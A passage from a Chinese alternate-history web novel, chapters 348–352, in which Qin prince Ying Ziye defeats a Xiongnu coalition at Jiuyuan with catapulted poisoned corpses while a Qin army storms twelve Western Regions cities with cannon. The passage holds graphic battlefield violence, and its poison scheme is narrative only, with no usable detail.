赵弋苍的声音带着一夜奔袭杀戮后的沙哑。
“夜枭卫奇袭敌营,共斩杀戎族酋长三人,狄族、犬戎部千夫长、百夫长等领军人物十一人,普通士卒无算。”
“焚毁粮草囤积点两处。”
他顿了顿,语气中带着一丝不易察觉的遗憾与不甘。
“可惜…我等行动虽快,但在试图靠近左贤王中军大帐时,因一意外暴露行踪。”
“敌军反应迅速,护卫森严,未能寻得机会对其下手。”
“为减少伤亡,卑职只得下令引爆
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雷火弹,趁乱突围撤回。”
“此行…未能竟全功,请主上责罚!”
赢子夜缓缓转过身,目光落在赵弋苍身上破损的衣衫和尚未干涸的血迹上,并没有丝毫责怪之意。
他伸手扶起赵弋苍,平静道。
“何罪之有?”
“尔等以三百之众,深入数万敌军大营,斩将焚粮,搅得他天翻地覆,自身还能大部撤回,已是大功一件!”
“左贤王项上人头,暂且让他多寄存几日。”
他的语气淡然,却带着一种洞悉局势的从容。
“杀了那些附庸部落的头领,比单纯杀伤普通士卒更有价值。”
“经此一闹,戎狄等部必然人心惶惶,对匈奴心生怨隙,联军内部裂痕已生。”
“这,便是最大的成功。”
赵弋苍闻言,心中那股因未能斩首敌酋而产生的郁结之气顿时消散大半,取而代之的是对赢子夜深远谋略的敬佩。
“主上明鉴!是卑职狭隘了。”
赢子夜微微颔首,目光再次投向城外。
天际已泛起鱼肚白。
匈奴大营的喧嚣非但没有平息,反而有种山雨欲来的压抑感在积聚。
他脸上的轻松神色渐渐收敛,变得凝重起来。
“左贤王接连吃了两个大亏,六千先锋全军覆没,老巢又被我们捅了一刀,损兵折将,颜面尽失。”
赢子夜的声音冷了下来,带着一种预见风暴的冷静。
“以他的性格,绝不会忍气吞声。”
“接下来,必定是疯狂的报复。”
他转过身,对一直守候在旁的传令兵沉声道:“传令各门守将,以及蒙恬、金荣、钟离昧诸位将军!”
“诺!”
传令兵挺身应道。
赢子夜的声音陡然提高,清晰而有力,回荡在黎明前的寂静中。
“告诉将士们,抓紧这最后的时间,休息,进食,检查兵甲器械!”
“真正的血战,马上就要开始了!”
“匈奴人丢了这么大的脸,必会像受伤的疯狗一样扑上来!”
“接下来,不会再有任何取巧,只有硬碰硬的城墙攻防,血肉磨坊!”
他的目光扫过闻讯赶来的几位将领疲惫却坚毅的面容,语气斩钉截铁。
“让所有人都给本公子打起精神!”
“把箭簇磨得更利!”
“把滚木礌石堆得更高!”
“把勇气给我鼓足!”
“我们要让匈奴人知道,九原城的城墙,是用大秦将士的骨头和血铸成的!”
“想踏进来,就得用十倍、百倍的命来填!!!”
“领命!”
众将齐声怒吼,声音中带着破釜沉舟的决绝。
他们知道,殿下说得对,侥幸取胜的时刻已经过去。
接下来,将是考验意志和血肉的炼狱。
随着命令传达。
原本略显沉寂的九原城再次如同精密的战争机器般运转起来!
士卒们默默啃着干粮,擦拭着刀剑。
眼神中没有了最初的恐惧,只剩下一种麻木的坚毅和与城共存亡的死志。
赢子夜独立城头,玄衣在渐起的晨风中拂动。
东方,朝阳即将喷薄而出!
但那光芒,注定要先穿透一层厚厚的血雾。
第349章 一日连下十二城!
西域。
楼兰边境,扦泥城。
当蒙犽接到由黑冰台高手八百里加急送达的皇帝密旨时,正如同往常一样,面无表情地擦拭着自己的佩剑。
展开绢帛,目光扫过其上那铁画银钩,带着磅礴帝威的字迹。
尤其是那句:“朕要看看,是西域的风沙硬,还是朕的铁骑…更硬!!”
蒙犽那双如同万年寒冰般的眼眸中,终于掠过一丝近乎炽热的精芒!
他缓缓收起绢帛,贴身放好。
没有激动的呼喊,没有多余的表情,他只是站起身,对帐外沉声道:“击鼓,升帐。”
“咚!咚!咚!”
低沉而雄浑的战鼓声,如同沉睡巨兽的心跳,瞬间传遍三十万秦军连营!
这鼓声与西域诸国散乱的号角声截然不同。
它带着一种冰冷的秩序感和令人心悸的压迫力。
不过半炷香的功夫,所有校尉以上将领已全部顶盔贯甲,肃立于中军大帐之外。
鸦雀无声。
只有甲胄叶片摩擦发出的细微铿锵声。
每个人的脸上都写满了肃杀与期待。
蒙犽走出大帐,目光如冷电般扫过众将,没有一句废话,声音如同金铁交鸣,清晰地传入每一个将领耳中。
“陛下有旨:
西域诸国,包庇逆贼,藐视天威,当以雷霆击之!!!”
“全军听令——”
他猛地拔出佩剑,剑锋直指远处那座在庞大军阵映衬下显得无比渺小的扦泥城!
“目标,扦泥城!”
“一个时辰内,给本将军踏平它!”
“诺!!!”
山呼海啸般的应诺声整齐划一,震得脚下大地都在微微颤抖!
没有质疑,没有犹豫,只有绝对的服从!
命令如同水银泻地般迅速传达至全军每一个角落。
三十万大军这个庞大的战争机器,以前所未有的高效和精准开始运转!
首先动起来的,是位于军阵最前方的炮兵阵地。
那不是西域人见过的任何一种投石机,而是一门门闪烁着金属冷光的青铜火炮!
炮手们动作机械般精准,装填**、压实、放入沉重的铁弹,整个过程沉默而迅速,带着一种冰冷的死亡韵律。
“目标,扦泥城墙!三轮齐射!”
炮兵校尉的声音冷静得可怕。
“预备——放!”
令旗挥下!
“轰!轰!轰!轰——!!!”
震耳欲聋的巨响连成一片,仿佛天穹炸裂!
数十门火炮同时喷吐出炽热的火舌和浓烟,沉重的炮弹带着撕裂空气的尖啸,划出致命的弧线。
如同陨石天降,狠狠地砸向扦泥城那夯土垒成的城墙!
“那…那是什么?!”
城头上,楼兰守军惊恐万状地看着天空中飞来的黑点,他们从未见过如此恐怖的武器!
“快躲……”
话音未落!
“嘭!!!咔嚓——!”
炮弹狠狠砸在墙体和城楼上!
夯土城墙在绝对的力量面前如同纸糊一般,瞬间被轰出巨大的缺口,碎砖乱石混合着人体的残肢断臂四处飞溅!
城楼更是被直接命中,木制结构轰然倒塌,燃起熊熊大火!
仅仅一轮齐射,扦泥城的防御体系就已经千疮百孔!
守军彻底懵了,这根本不是战争。
这是…天罚!
是神魔的力量!
“魔鬼!”
“秦人是魔鬼!”
幸存者发出绝望的哭喊,士气瞬间崩溃。
炮火并未停歇。
第二轮、第三轮齐射接踵而至!
整个扦泥城被火光和**笼罩,城墙一段段坍塌,守军死伤惨重,完全失去了有组织的抵抗。
炮火准备刚刚结束,硝烟尚未散尽。
“咚!咚!咚!”
秦军本阵中,进攻的战鼓再次擂响!
这一次,鼓点急促而有力,带着一股碾碎一切的决绝!
“大秦!”
“风!”
“风!”
“风!”
如同黑色潮水般的秦军步兵方阵,开始了推进!
他们踏着被炮弹犁过,尚在燃烧的土地,步伐整齐划一,长戟如林,剑盾如墙,沉默得令人窒息!
那种冰冷的纪律性和排山倒海的气势,让残存的楼兰守军肝胆俱裂!
根本没有遇到像样的抵抗。
侥幸未死的守军早已魂飞魄散。
要么跪地投降,要么丢盔弃甲向城内逃窜。
秦军步兵如同碾压机一般,轻而易举地踏过城墙废墟,涌入城内。
巷战?
不存在的。
在绝对的实力和恐怖的威慑面前,任何抵抗都是徒劳。
城内零星的抵抗瞬间就被黑色的洪流淹没!
从第一声炮响,到秦军的黑龙旗插上扦泥城的最高点,整个过程,不到一个时辰。
蒙犽在中军大纛下,面无表情地看着这一切。
传令兵飞马来报。
“将军!”
“扦泥城已克!”
“守将阿莫多被俘,残军或降或逃!”
蒙犽只是微微颔首,目光已经投向了地图上的下一个目标。
他声音冰冷,不带一丝感情。
“传令!”
“第一军团留守肃清残敌,修复城墙。”
“其余各部,即刻开拔!”
“目标,西夜城!”
“诺!”
大军几乎没有任何休整。
留下必要的部队后,主力如同黑色的钢铁洪流,毫不停歇地向着西方滚滚而去!
他们的动作太快,太坚决。
以至于扦泥城陷落的消息还没传到下一个城池,秦军的先锋斥候就已经出现在了西夜城的视野里!
西夜城的守军刚刚接到扦泥城求援的烽火,还没弄清楚怎么回事。
就看到地平线上出现了那支沉默、肃杀、无边无际的黑色军团,以及那令人胆寒的……
火炮!
同样的剧本再次上演!
炮火洗地,城墙崩塌,大军碾压!
西夜城比扦泥城支撑得时间更短,半个时辰不到,便宣告易主!
然后是精绝城、戎卢城、渠勒城……
秦军如同一股不可阻挡的钢铁风暴,沿着西域南道一路横扫!
他们不分昼夜,不顾疲劳,攻城拔寨,势如破竹!
每个城池的抵抗在火炮的轰鸣和秦军那令人绝望的军势面前,都显得如此苍白无力!
楼兰国派出的援军还在半路,就接连收到城池沦陷的噩耗,军心溃散,不战自乱!
一日!
仅仅一日!
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>从黎明到黄昏,秦军铁骑踏过十二座城池的废墟!
兵锋所向,挡者披靡!
西域诸国联军?
在蒙犽看来,不过是土鸡瓦狗!
帝国的意志,如同天威,在这片土地上展现得淋漓尽致!
整个西域南道,在一天之内,被硬生生撕开了一道巨大的,血淋淋的口子!
……
北疆之地。
匈奴及各部接连对城池的猛攻,让左贤王等人此刻,亦是看到了希望。
匈奴联军大营。
左贤王端坐在虎皮榻上,虽然眼眶深陷,布满血丝,但精神却异常亢奋。
他面前站着几名浑身浴血,甲胄破损的万骑长和部落首领。
这些人脸上同样带着疲惫,但更多的是一种野兽般的凶光。
“诸位!”
左贤王的声音因连续咆哮而有些沙哑,却依旧充满了力量。
“秦狗已是**之末!”
“今日攻城,虽未竟全功,但尔等也看到了,他们的城墙破损严重,守军伤亡巨大,连滚木礌石都稀疏了不少!”
一名脸上带着狰狞刀疤的戎族酋长咧开大嘴,露出黄牙,激动地附和。
“左贤王说得对!”
“我亲眼看见,城头上能站起来的秦狗没几个了!”
“他们的箭矢也快射光了!”
“下一次,下一次冲锋,老子一定第一个爬上城头,把赢子夜那小儿的脑袋拧下来当尿壶!”
“对!秦人不行了!”
“他们撑不了多久了!”
“明日拂晓,必破此城!”
帐内众人纷纷叫嚷起来,气氛热烈!
连续数日的疯狂进攻,虽然匈奴联军也付出了极其惨重的代价,尸横遍野,但在他们看来,秦军的损失更大!
那摇摇欲坠的城墙就是明证!
胜利似乎已经触手可及。
左贤王很满意这种气氛,他抬手压下喧嚣,眼中闪烁着残忍而狡黠的光芒。
“好!”
“要的就是这股气势!”
“传令下去,让儿郎们饱餐战饭,好生歇息两个时辰!”
“拂晓时分,天色最暗那一刻,便是我们发动总攻之时!”
“这一次,不分主次,所有兵力,给本王全线压上!”
“蚁附攻城!”
“就算用尸体堆,也要给本王堆上九原城头!”
他仿佛已经看到了破城后烧杀抢掠的景象,语气变得无比狂热。
“城破之后,三日不封刀!”
“财富、女人,任尔等取用!”
“用秦人的血,祭奠**原勇士的英魂!”
“嗷呜——!”
帐内爆发出嗜血的欢呼,所有人都被这美好的前景刺激得双眼通红。
就在这气氛达到顶点的时刻!
一名斥候急匆匆闯入大帐,脸上带着一丝古怪和疑惑,单膝跪地禀报。
“启禀左贤王!”
“九原城方向有异动!”
“秦军……秦军正在派出大量民夫和辅兵,打扫城外战场!”
“他们……他们正在将我军阵亡勇士的遗体,一具一具地抬回城中!”
这话如同冷水泼入沸油,帐内瞬间安静下来。
所有人都愣住了,脸上狂热的笑容僵住,取而代之的是浓浓的困惑和不解。
第350章 毒计!
“抬……抬回城中?”
左贤王皱紧了眉头,以为自己听错了。
“秦狗要我们勇士的尸体做什么?”
“难道他们粮草耗尽,开始……?”
一个可怕的念头闪过!
但他随即摇头,秦军再不堪,也不至于此。
那名刀疤脸戎族酋长挠了挠他的大光头,瓮声瓮气地猜测。
“莫非……是秦人被打怕了?”
“想用这种方式向我们示好?”
“准备投降了?”
“放屁!”
另一名狄族长老立刻反驳。
“赢子夜那小子骨头硬得很,怎么可能投降!”
“我看,他们是知道自己守不住了,怕城破之后被我们屠城,所以想积点阴德,把我们勇士的遗体好好安葬,到时候求我们给他们留个全尸?”
这个说法立刻得到了不少人的认同。
“对对对!定然是如此!”
“秦人就信这一套!人死为大嘛!”
“哈哈哈!现在知道怕了?想讨好我们?晚了!”
“现在想好好安葬?等爷爷们杀进城,把他们的尸体也剁碎了喂狼!”
帐内顿时响起一片张狂的哄笑声,充满了鄙夷和胜利者的优越感。
在他们看来,这无疑是秦人软弱、恐惧、甚至是在为投降做准备的信号!
这更加坚定了他们拂晓破城的信心。
左贤王听着众人的议论,最初的疑惑也渐渐被这种“合理”的解释所取代,嘴角勾起一抹残忍的弧度。
“想求个全尸?”
“哼!”
“本王偏不让他们如愿!”
“传令下去,拂晓攻城,更加狠辣!”
“城破之后,所有秦狗,无论兵民,尽数屠戮,曝尸荒野,以儆效尤!”
“让他们看看,得罪我大匈奴的下场!”
“左贤王英明!”
“杀光秦狗!”
帐内的气氛再次变得狂热而血腥,没有人再去深思秦军收集尸体的真正目的。
在他们简单的思维里,这只能是失败者卑微的乞怜。
却不知,这看似“仁慈”的举动背后,隐藏着赢子夜更为冷酷和致命的杀机。
……
九原城内。
气氛凝重而压抑。
连续数日的血战,城墙多处破损,守军伤亡惨重,每个人脸上都带着难以掩饰的疲惫和悲壮。
当赢子夜下令,冒着被城外匈奴冷箭射杀的风险,派出辅兵和民夫去收集匈奴尸体时,许多将士都露出了不解甚至抵触的情绪。
残破的将军府内。
金荣、钟离昧等将领站在赢子夜面前,脸上写满了困惑。
金荣忍不住开口道。
“殿下,将士们……有些议论。”
“匈奴蛮子的尸体,暴尸荒野喂了野狼便是,何必冒险去收回?”
“这……徒增风险啊。”
其他将领虽未明说,但眼神中也流露出同样的疑问。
在他们看来,这无异于多此一举,甚至是对已方士卒生命的不负责。
赢子夜目光扫过众人,将他们的疑虑尽收眼底。
他脸上没有任何不悦,只是平静地反问道。
“你们以为,本公子是突发善心,要替这些犯我边疆,杀我同胞的蛮子收尸安葬?”
众将一愣,面面相觑,难道不是?
赢子夜嘴角勾起一抹冰冷至极的弧度,那笑容里没有一丝温度,只有令人心悸的算计。
“自然是要**。”
“**?!”
两个字如同惊雷,在众将耳边炸响!
金荣、钟离昧等人瞬间瞪大了眼睛,倒吸一口凉气!
就连一旁沉默的蒙恬,握着剑柄的手也微微紧了一下。
“殿……殿下……”
金荣声音都有些发颤!
他征战半生,见过无数惨烈场面,但如此大规模,利用尸体**的手段,还是超出了他的认知。
“此举…此举是否…太过……”
他一时找不到合适的词语,只觉得脊背发凉。
“太过毒辣?”
赢子夜替他说了出来,语气平淡。
“本公子倒觉得,还好。”
他缓缓站起身,走到窗边,望着城外隐约可见的匈奴联营,声音陡然转冷,带着一种压抑的怒火和彻骨的寒意。
“比之他们南下劫掠,屠我村庄,淫我妇女,将大秦子民如同猪狗般宰杀时,本公子的手段,仁慈多了!”
“他们视人命如草芥,本公子便让他们也尝尝,被更无情的手段碾碎的滋味!”
“战争,从来只有胜负,没有仁义道德可言!”
“对豺狼讲仁慈,就是对羔羊的残忍!”
这一番话,如同重锤,敲打在每一位将领的心上。
他们想起了边境百姓的惨状,想起了战死同袍的遗容,眼中的犹豫和不适渐渐被仇恨和决绝所取代!
赢子夜转过身,目光落在一直静立一旁的端木蓉和公输仇身上。
“蓉儿,公输先生,剩下的,就交给你们了。”
“务必让这些‘礼物’,发挥出最大的效果。”
端木蓉面容清冷,作为医者,她本应济世救人,但此刻她的眼神却异常坚定,微微颔首。
“公子放心,我已调配好数种剧毒,可经由尸体**蒸发,或接触传播,无色无味,毒性猛烈。”
“日头升高,气温回暖之时,便是毒发之刻!”
她精通药理,更能将救人之术化为**之道。
公输仇则抚摸着他的机关手,眼中闪烁着技术性的狂热。
“老夫会命人在部分尸体内部植入小机关,掺杂磷火之物,待时机一到,或可引发尸爆,更能助长毒雾扩散之势!”
“很好。”
赢子夜满意地点点头,随即又从袖中取出几个小玉瓶,递给金荣。
“这是解药。”
“立刻派人投入城中所有水井,令全军将士、城中百姓,务必每人饮下井水。”
“动作要快,要隐秘,绝不可让匈奴察觉。”
金荣双手接过玉瓶,感受到那冰凉的触感,心中再无半点疑虑,只剩下对赢子夜深沉狠辣手段的敬畏。
他重重抱拳,声音嘶哑却坚定。
“末将明白!”
“这就去办!”
“定让每一个弟兄都喝下解药!”
看着金荣匆匆离去的背影,赢子夜重新将目光投向城外。
阳光渐渐刺破云层,温度开始回升。
他知道,当正午的阳光最炙热的时候,一场无声无息却更加致命的杀戮,即将在那片看似胜利在望的匈奴大营中上演。
……
拂晓的微光刚刚驱散夜幕。
匈奴大营便如同苏醒的凶兽,开始躁动起来。
饱餐战饭的匈奴士兵们磨刀霍霍。
眼中闪烁着对财富和杀戮的渴望!
在各部族首领的呼喝声中,开始集结列阵,准备发动那志在必得的总攻。
左贤王
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一身戎装,站在临时搭建的高台上,望着远处残破的九原城墙,脸上带着残忍而自信的笑容。
仿佛已经看到城墙崩塌,秦军溃逃的景象!
他深吸一口清晨寒冷的空气,正准备下达进攻的最终命令。
突然!
九原城头,传来一阵机括扭动的沉闷声响!
在匈奴联军惊愕的目光中,数十架经过紧急修复和改装的投石车,猛地将长长的抛臂甩向天空!
然而,从皮兜中飞出的,并非往常的巨石或火油罐。
而是一团团模糊的,散发着恶臭的物体!
那些物体在空中划出令人作呕的弧线,如同冰雹般砸落在匈奴联军正在集结的阵型前方,甚至直接落入了人群之中!
“噗嗤!噗通!”
重物落地的闷响接连响起。
当匈奴士兵们看清那是什么东西时,整个联军阵营瞬间陷入了一种死寂般的凝固。
随即爆发出冲天的怒火和**的咆哮!!!
尸体!
是他们昨日战死同伴的尸体!
这些尸体显然被刻意“处理”过,有些肢体扭曲,有些面目全非。
在清晨的寒风中散发着浓郁的腐臭气息。
被投石车这么一摔,更是汁液横流,惨不忍睹!
有的尸体甚至在落地时猛地爆开,溅射出不明液体和碎骨!
“秦狗!安敢如此!!”
左贤王脸上的笑容瞬间扭曲,变成了极致的狰狞和暴怒!
他额头青筋暴起,眼球布满血丝,几乎要瞪出眼眶!
他征战半生,何曾受过如此奇耻大辱?!
这不仅仅是战术上的挑衅,更是对草原勇士尊严最恶毒、最彻底的践踏!
“赢子夜!”
“本王要将你**万段!”
“挫骨扬灰!”
左贤王的咆哮声如同受伤的野兽,震得整个高台都在颤抖。
“攻城!给本王攻城!”
“破城之后,屠城三日!”
“鸡犬不留!”
“连一只老鼠都给本王剁成肉泥!”
“我要让九原城从世上消失!”
“用所有秦狗的血,洗刷今日之辱!”
不需要任何更多的动员了!
这抛尸的举动,如同点燃了**桶的引信,将所有匈奴和附属部落士兵的凶性彻底激发!
“杀光秦狗!”
“为勇士报仇!”
“屠城!屠城!”
震耳欲聋的怒吼声汇聚成恐怖的声浪。
先前对秦军“善意”安葬的可笑猜测被现实无情粉碎,取而代之的是被羞辱后彻底疯狂的杀意!
什么阵型,什么战术,全都被抛到了脑后!
此刻,他们心中只有一个念头——
冲上城头,将那些卑鄙的秦人撕成碎片!
“呜嗷——!”
进攻的号角不再是命令,而是宣泄怒火的咆哮!
如同决堤的洪流,又如同失控的兽群。
数万匈奴联军士兵,挥舞着弯刀、长矛,发出歇斯底里的呐喊,不顾一切地朝着九原城墙发起了疯狂的冲锋!
他们踏过同伴破碎的尸体,踩着污秽的血泥,红着眼睛,如同海啸般拍向那道看似摇摇欲坠的防线!
城头之上。
赢子夜冷漠地看着下方那因极度愤怒而失去理智的敌军洪流。
他要的就是这个效果。
激怒他们,让他们在狂怒中失去章法,将所有的力量毫无保留地倾泻出来。
第351章 敌人的目的,绝无这般简单!
“准备迎敌!”
金荣声嘶力竭地大吼!
城头上残存的秦军士卒握紧了手中的兵器!
虽然疲惫,虽然恐惧,但身后已是绝路,唯有死战!!!
然而,城下疯狂冲锋的匈奴人此刻都还未意识到。
那些被抛掷过去,散发着恶臭的尸体所带来的真正致命威胁……
才刚刚开始悄然弥漫。
日头越升越高。
炙热的阳光无情地烘烤着大地。
也将昨夜、今晨堆积的尸骸迅速催发出浓烈到令人作呕的腐臭。
匈奴联军疯狂的攻势,在接近城墙一箭之地时,竟开始出现了诡异的停滞和混乱。
起初只是零星几个冲在最前面的士兵,突然脚步踉跄。
像是被无形的大手扼住了喉咙,脸色瞬间变得青紫,双手死死掐住自己的脖子,眼球凸出,口鼻中不受控制地涌出白沫,发出“嗬嗬”的怪响。
随即浑身抽搐着倒地,顷刻间便没了声息。
“怎么回事?!”
“绊倒了吗?”
“快起来!冲啊!”
后面的士兵不明所以,还在怒吼着向前涌。
但很快,更多的人开始出现同样的症状!
如同瘟疫蔓延,成片成片的匈奴士兵在冲锋途中倒下。
痛苦地翻滚、痉挛、呕吐,将胃里的酸水和未消化的食物混合着白沫吐得到处都是!
原本汹涌的进攻浪潮,仿佛撞上了一堵无形的死亡之墙。
瞬间…变得七零八落!!!
“毒!是毒!”
终于有反应过来的匈奴军官发出了凄厉的尖叫,声音充满了恐惧。
“那些尸体……秦人在尸体上下了毒!”
恐慌如同野火般在联军中蔓延开来!
直到此刻,他们才恍然大悟。
秦军将尸体抛掷而来,不光是为了羞辱他们,还布下了如此阴狠致命的陷阱!
高台之上。
左贤王正挥舞着战刀,催促大军压上。
却被眼前这突如其来的诡异景象惊呆了。
他眼睁睁看着自己的勇士们如同被割倒的麦子般成片倒下。
非战之罪,而是死于这种卑劣的手段!
“赢子夜!你这该千刀万剐的卑鄙小人!”
左贤王气得浑身发抖,一口逆血差点喷出。
然而,他的咒骂声戛然而止。
因为他自己,也猛地感到一阵头晕目眩,胸口烦闷欲呕,四肢开始发软!
他心中大骇,连忙运转内力强行压制,这才勉强站稳。
但脸色,已是一片灰败!
连他这等高手都中了招,可见这毒性之烈,弥漫之广!!
完了!
全完了!
看着下方乱成一团、哀嚎遍野的大军,左贤王心中一片冰凉!
这毒显然是通过呼吸或接触传播,在阳光加热下效果倍增!
他的大军,尚未接敌,已然溃败!
“撤!快撤!”
左贤王用尽全身力气,发出了绝望而嘶哑的吼声。
此刻什么破城,什么复仇,都成了笑话,能保住多少兵力逃出生天才是关键!
但,已经太晚了!
“轰隆隆。”
就在匈奴联军陷入极度混乱,撤退命令都难以有效传达的刹那。
九原城那扇一直紧闭的城门,突然洞开。
“大秦的将士们!”
赢子夜一马当先,手持长剑,玄衣在风中猎猎作响!!
他目光如电,扫过城外如同待宰羔羊般的敌军,声音如同惊雷炸响!
“复仇的时候到了!随我杀!”
“杀!杀!杀!”
积蓄了数日怒火和**的秦军将士,如同出闸的猛虎!
在赢子夜、蒙恬、金荣、钟离昧等将领的率领下,如同决堤的洪流,从城门中汹涌杀出!
这是一场毫无悬念的**!
匈奴联军早已**已深,莫说抵抗,许多人连逃跑的力气都没有,只能眼睁睁看着秦军的刀剑砍来。
战马也纷纷口吐白沫倒地,将背上的骑士摔落。
整个战场变成了秦军单方面的追杀场!
“不要杀我!我投降!”
“长生天啊!救救我!”
“秦爷爷饶命!”
哀嚎声、求饶声、兵刃入肉的噗嗤声不绝于耳。
秦军士卒红着眼睛,将多日来积压的仇恨尽情宣泄,手起刀落,毫不留情!
赢子夜的目标明确,直指那正在亲兵拼死护卫下,试图向后逃窜的左贤王!
“左贤王!哪里走!”
赢子夜大喝一声,身形如电,几个起落便冲破零星抵抗,逼近了左贤王的卫队。
“保护王爷!”
亲兵们悍不畏死地扑上来。
“挡我者死!”
赢子夜剑光如龙,剑气纵横!
所过之处,残肢断臂横飞!
那些**后实力大减的亲兵根本无法阻挡他分毫!
左贤王眼见这位秦国公子杀到,自知难以逃脱,也被激起了凶性,他强压毒素,怒吼着挥刀迎上。
“赢子夜!本王跟你拼了!”
“铛!”
刀剑相交,爆出刺耳的金鸣!
若是全盛时期,左贤王或可与赢子夜周旋一番。
但此刻他**已深,内力运转滞涩,如何是赢子夜的对手?
不过三五招,赢子夜一剑荡开左贤王的弯刀,剑尖如同毒蛇般刺入他的胸膛!!
“呃……”
左贤王动作一僵,低头看着透胸而过的剑锋,脸上充满了不甘、怨毒和难以置信。
他纵横草原多年。
最终竟会以这种方式,死在一个他曾经轻视的秦国公子手中。
赢子夜手腕一抖,长剑抽出,带出一蓬热血。
他看也不看左贤王倒下的尸体,俯身一把抓住其发髻,手中长剑寒光一闪!!
“噗嗤!”
一颗硕大的头颅便被提在了手中!
赢子夜将左贤王兀自圆睁双目的头颅高高举起,运足内力,声震四野。
“左贤王已死!降者不杀!”
这声音如同惊雷,在混乱的战场上滚过。
那些还在负隅顽抗或试图逃跑的匈奴士兵,看到左贤王那狰狞的首级,最后一丝斗志也彻底崩溃了。
“当啷!”
“当啷!”
兵器落地的声音此起彼伏,残存的匈奴联军士兵纷纷跪倒在地,磕头如捣蒜,用生硬的秦语或匈奴语哭喊着求饶。
赢子夜冷漠地看着这一切,下令道。
“收缴兵器,将所有俘虏戴上重镣,严加看管!”
“打扫战场,我军将士遗体好生收敛,敌军尸体……全部集中焚烧,以防疫病!”
“诺!”
众将领命,立刻开始行动。
赢子夜又对赵弋苍吩咐道:
“将那些活着的部落首领、千夫长之类的领军人物,单独挑出来,严加审讯!”
“本公子要知道匈奴王庭的虚实,以及他们后续还有何计划!”
“卑职明白!”
赵弋苍眼中寒光一闪,领
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命而去。
夕阳如血,映照着这片刚刚经历了一场诡异而惨烈大战的土地。
尸横遍野,血流成河。
空气中混杂着血腥、焦臭和一丝若有若无的甜腥毒气。
赢子夜独立战场中央,手中还提着左贤王的首级,玄衣已被鲜血浸透。
他望着西方天际,目光深邃。
……
九原郡守府大堂。
气氛凝重得能滴出水来。
虽取得大胜,但空气中弥漫的并非喜悦,而是劫后余生的疲惫与更深沉的忧虑。
赢子夜端坐主位,玄衣上的血污尚未完全清洗,衬得他脸色愈发冷峻。
“雁门、云中两郡情况如何?”
他沉声问道,声音带着一丝不易察觉的沙哑。
负责汇总军情的参军连忙上前,脸上带着悲戚。
“回殿下,两郡刚刚有斥候冒死突破重围传来消息……情况,极其惨烈。”
“雁门守军原一万一千人,现存……不足两千五百,且大半带伤,城墙破损严重,箭矢粮草几乎告罄。”
“云中郡…更甚,九千守军,仅余两千人左右,守将……战死。”
参军的声音哽咽了一下。
“若非殿下在九原大破匈奴主力,迫使**两郡的敌军仓皇撤退,恐怕…恐怕两郡早已……”
赢子夜闭了闭眼,指尖无意识地敲击着扶手。
即便早有心理准备,听到这具体的数字,心头依旧如同压了一块巨石。
那是数万条鲜活的生命,是大秦的边关基石。
“详细记录阵亡将士名录,连同九原之战抚恤事宜,一并八百里加急上报朝廷!”
他深吸一口气,压下翻涌的情绪,语气恢复平静。
“恳请陛下从优发放抚恤金,妥善安置伤残士卒及阵亡者家眷。”
“下官遵命!”
参军重重记录。
然而,赢子夜的眉头却越皱越紧。
他站起身,走到巨大的北疆地图沙盘前,目光锐利地扫过九原、雁门、云中三座城池的位置。
“不对劲……”
他低声自语。
“匈奴联合戎狄等部,出动超过十万大军,付出如此惨重的代价,仅仅是为了攻打这三座边城?”
“即使城破,能劫掠的物资,相对于他们的损失和风险,真的值得吗?”
金荣在一旁闻言,试探道:“殿下,或许蛮夷就是如此,目光短浅,只知劫掠……”
“不。”
赢子夜摇头,手指点在地图上。
“若只为劫掠,他们大可化整为零,绕过重兵把守的郡城,袭击防御薄弱的小城和村镇,那样效率更高,风险更小。”
“如此兴师动众,强攻三座硬骨头,更像是在……牵制!”
他的手指顺着地图上蜿蜒的河流、山脉走向移动,眼神越来越亮,也越来越冷。
“你们看,这三座城,如同钉子,扼守着通往中原的要道。”
“若他们真正的目的,并非城池本身,而是……”
话音未落。
“报!八百里加急军情!”
一名传令兵浑身尘土,连滚带爬地冲进大堂,声音带着惊恐。
“上郡……上郡被破了!”
“是匈奴主力!”
“至少有七八万骑兵!”
“他们攻破上郡后,并未停留劫掠,而是急速向西,目前正在无定河流域**!”
“同时,我们发现大量戎族骑兵,总数恐有五万之众,正在切断我通往北疆的粮道!”
第352章 惊人的阴谋!
“什么?!”
大堂内瞬间一片死寂!
所有人都被这突如其来的噩耗惊呆了!
上郡乃北疆重镇,竟然也被攻破?
而且匈奴主力出现在了那里?
赢子夜猛地转身,目光死死钉在沙盘上无定河流域的位置!
他的手指迅速划过地图,脸色瞬间变得无比难看!
“无定河……粮道……”
他声音冰冷,带着一丝恍然和更大的愤怒。
“原来如此!”
“好一招声东击西,明修栈道,暗度陈仓!”
他手指重重地点在无定河流域,然后横向一划,直指九原、雁门、云中三城后方。
“他们的真正目标,从来就不是这三座城!”
“而是利用大军佯攻三城,吸引我北疆主力注意,同时派真正的主力奇袭防御相对薄弱的上郡,然后沿无定河横向穿插!”
赢子夜的目光如同利剑,扫过众将震惊的脸。
“一旦让这十几万蛮军完成横向穿插,占领无定河沿线,就等于一把利刃,彻底切断了我北疆三郡与内地的联系!”
“届时,三郡将成为孤岛,粮草断绝,援军难至,不需强攻,困也能将我们困死!”
这才是他们的真正目的!
好大的胃口!
想通了这一切,赢子夜背后惊出一身冷汗!
若非他果断出击,击溃了左贤王,迫使佯攻部队溃败,恐怕现在三郡已经彻底成了瓮中之鳖!
“朝廷的援军还有几日能到?”
赢子夜急声问道。
“回殿下,按行程估算,王贲将军所率十五万援军,最快也需三日方能抵达九原!”
三日!
赢子夜心沉了下去。
无定河那边的敌军绝不会给他们三天时间!
就在这时,又一名骑兵飞驰入府禀报。
“殿下!”
“胡亥公子派人传信,言其率两万狼族骑兵奇袭戎族后方,但戎族营地早已人去楼空,故已率军回援受降城驻防!”
“受降城?”
赢子夜目光立刻投向沙盘上那个不起眼的小城,嘴角勾起一抹冰冷的讥讽。
“奇袭扑空?回援受降城?”
“还真是……‘及时’啊!”
他根本不信胡亥的鬼话。
戎族主力都在无定河,后方空虚是必然,何须“奇袭”?
这分明是避实就虚,保存实力!
而受降城位置关键,虽小,却卡在无定河穿插路径的一个侧翼点上。
胡亥驻守那里,看似在帮忙,实则……其心可诛!!!
若他按兵不动,或稍作抵抗便退,蛮军横向推进的速度将大大加快!
“不能再等了!”
赢子夜眼中闪过一丝决绝,“必须立刻驰援无定河,绝不能让蛮军完成合围!”
他迅速下达一连串命令:
“金荣、钟离昧听令!”
“九原城防交由你二人负责,率剩余将士严密布防,谨防小股敌军骚扰或胡亥那边有变!”
“同时,督促那些俘虏戴镣劳役,修复城墙,只需保证饿不死,往死里用!现在没工夫跟他们讲仁义!”
